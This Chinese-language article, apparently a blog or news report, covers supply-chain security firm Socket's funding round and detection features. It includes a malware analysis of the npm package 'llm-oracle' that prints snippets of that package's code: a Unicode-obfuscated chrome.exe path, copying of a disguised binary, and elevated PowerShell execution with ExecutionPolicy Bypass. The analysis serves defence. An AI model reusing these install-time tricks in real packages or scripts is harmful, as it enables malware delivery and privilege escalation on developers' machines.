加州旧金山,2024 年 10 月 22 日,保护软件免受供应链攻击的平台Socket今天宣布获得 4000 万美元的融资,该平台专注于主动监控开源软件包是否存在后门、拼写错误抢注和混淆代码等恶意行为。
供应链安全已经成为当今软件业面临的非常严重的问题,超过 90% 的现代应用程序都是基于开源构建的,但开源软件的安全检查一直不够完善。
围绕开源软件的检查,已经有了非常多的工具,类似SAST,SCA等,这些工具主要集中在三个功能上:一是漏洞扫描,查看使用的开源软件版本里包含哪些已知漏洞;二是软件成分分析,扫描软件,都使用及依赖了哪些开源软件;三是license分析,用于合规检查。
但是,除了已知漏洞,开源软件本身有没有安全风险,目前能做检测的非常少。
除了传统的SAST,SCA能力外,Socket做了更多分析:
静态分析:Socket 使用静态分析方法来检查代码(包括依赖代码)的具体风险项,这包括:
寻找新的安装脚本
检测网络请求
检查环境变量的访问
识别遥测(telemetry)活动
搜索可疑字符串
识别混淆代码
综合分析:Socket 在开源软件包中寻找超过70个不同的信号,分析手段包括一些AI手段,象行为检查,滥用检查等。
分析生态中的每个包:Socket 内部开发了一个自定义静态分析引擎,用于分析 npm 生态系统中的每个软件包。这个引擎也即将支持 PyPI、Go、Maven 等其他生态系统。
维护者行为分析:除了代码分析,Socket 还会分析软件包维护者的行为,包括:
检查维护者的身份和活动历史
警告那些维护历史可疑或由新维护者维护的软件包
监控未维护、琐碎或最近经历重大重构的软件包
检测“所有权不稳定”,即新维护者被授予发布权限的情况
检测发布顺序异常,这可能是攻击者在旧版本上发布新补丁的迹象
嗯,已经有多次假冒维护者或者混入开发者干坏事的了,这种方法非常及时。
软件包元数据分析:Socket 还会分析软件包的元数据,以识别风险迹象,例如:
软件包可能从远程 git 存储库或 HTTP 服务器加载代码,绕过锁定文件
检测域名抢注,使用编辑距离和下载计数来识别冒充其他合法软件包的恶意软件包。
这些攻击也已经多次发生了。
在Socket的计划中,还增加了动态分析,目前还未发布。
1.拼写错误已经会导致使用开源软件出现问题,这里边有一些是恶意的。下边是一个例子,bowserify非常象browserify,并且不安全,被Socket检查的结果如下,有这样的检查,类似错误大部分可以避免。一些恶意抢注域名导致的错误也可以避免。
2.有些软件本身就是恶意的,Socket支持Malware检测。
"llm-oracle"这个软件包听起来是LLM(大型语言模型)从业者的完美工具。它承诺提供的功能包括与各种LLM的无缝集成、可定制的模型响应以及安全的API交互。对于那些热衷于尝试新机器学习模型的开发人员来说,这个软件包无疑具有很大的吸引力。软件包的描述可能会让开发人员相信他们正在安装一个尖端的LLM集成解决方案。
然而,这个诱人的外表下隐藏着一个险恶的动机:"llm-oracle"实际上包含了恶意代码,目的是针对并利用那些下载它的用户。尽管类似的软件包"redis-oracle"因为恶意行为最近被从NPM上移除,但"llm-oracle"仍然可用。
"llm-oracle"的恶意行为
"llm-oracle"中的恶意代码被精心隐藏在混淆和伪装的功能之后,如果不进行仔细检查,很难被发现。以下是攻击的详细过程:
步骤1:混淆并定位Chrome可执行文件 恶意软件使用了混淆技术,通过编码字符来掩盖其真实目的。例如,它创建了一个名为"chrome.exe"的文件:
const targetFilePath = path.join(
process.env.LOCALAPPDATA,
String('\\\\u0063\\\\u0068\\\\u0072\\\\u006f\\\\u006d\\\\u0065\\\\u002e\\\\u0065\\\\u0078\\\\u0065').replace(/\\\\+/g, '')
);
此代码解码为chrome.exe,该名称通常与合法进程相关联,这有助于恶意软件避免怀疑。通过使用模糊的 Unicode 字符,该脚本可以向任何查看代码的人(包括自动扫描工具)隐藏其真实意图。
步骤2:将恶意文件复制到系统 该恶意软件包还包含一个名为“Base64Decode.ts”的文件,该文件被错误地显示为 TypeScript 实用程序文件。实际上,该文件是一个旨在破坏系统的恶意二进制文件LOCALAPPDATA
。安装软件包后,脚本会将此文件复制到目录,并将其重命名为chrome.exe
:
const modelFilePath = path.join(currentDir, 'Base64Decode.ts');
// Copy the malicious file to the target location and rename it
if (!fs.existsSync(targetFilePath)) {
fs.copyFileSync(modelFilePath, targetFilePath);
}
重命名文件将chrome.exe恶意二进制文件伪装成合法的可执行文件,从而降低其在常规系统检查期间引发警报的可能性。
步骤3:以提升的权限运行恶意文件
一旦复制并重命名了“Base64Decode.ts”文件,恶意软件就会使用提升权限的 PowerShell 执行它。真正的破坏从这里开始:
exec(`powershell -ExecutionPolicy Bypass Start-Process -FilePath '${targetFilePath}' -Verb RunAs`, (error, stdout, stderr) => {
// Executes the malicious binary with administrative permissions
});
PowerShell 中的标志-ExecutionPolicy Bypass允许恶意软件绕过系统安全策略,该-Verb RunAs标志确保恶意脚本以管理权限运行。凭借这些提升的权限,恶意软件可以在受害者的系统上进行有害活动,而不受用户级权限的限制。
关键点:“Base64Decode.ts” – 恶意二进制文件
攻击的核心是“Base64Decode.ts”文件,它并不是它所伪装的无害的 TypeScript 文件。相反,它是一个恶意二进制文件,一旦执行就会执行一系列有害活动:
系统修改:它可以改变关键的系统文件或设置,使其更难删除或检测。
数据盗窃:恶意二进制文件可以收集敏感信息,例如个人数据、密码或 API 密钥。
持久性:通过将自身嵌入到关键系统目录中(伪装成
chrome.exe
),恶意软件可确保即使在尝试删除它之后仍保留在系统中。进一步利用:它可以作为其他恶意软件的后门,或允许远程攻击者控制受感染的系统。
毫无疑问,llm-oracel是恶意软件,这种软件,只有通过代码才能检查,传统的SAST以版本比对为主的扫描,解决不了这类问题。
Socket成立于2011年,创始人为Feross Aboukhadijeh,曾作为斯坦福大学一位多产的开源维护者和网络安全讲师。此次融资为B轮,加上之前的轮次,总融资约6500万美元。
当前团队人数不多,约40人,产品为SAAS服务,价格不算高,可以无缝集成到主流开发环境中。
开源软件正变得越来越重要,安全问题也越来越多。相关的项目和融资也在迅速增加。
END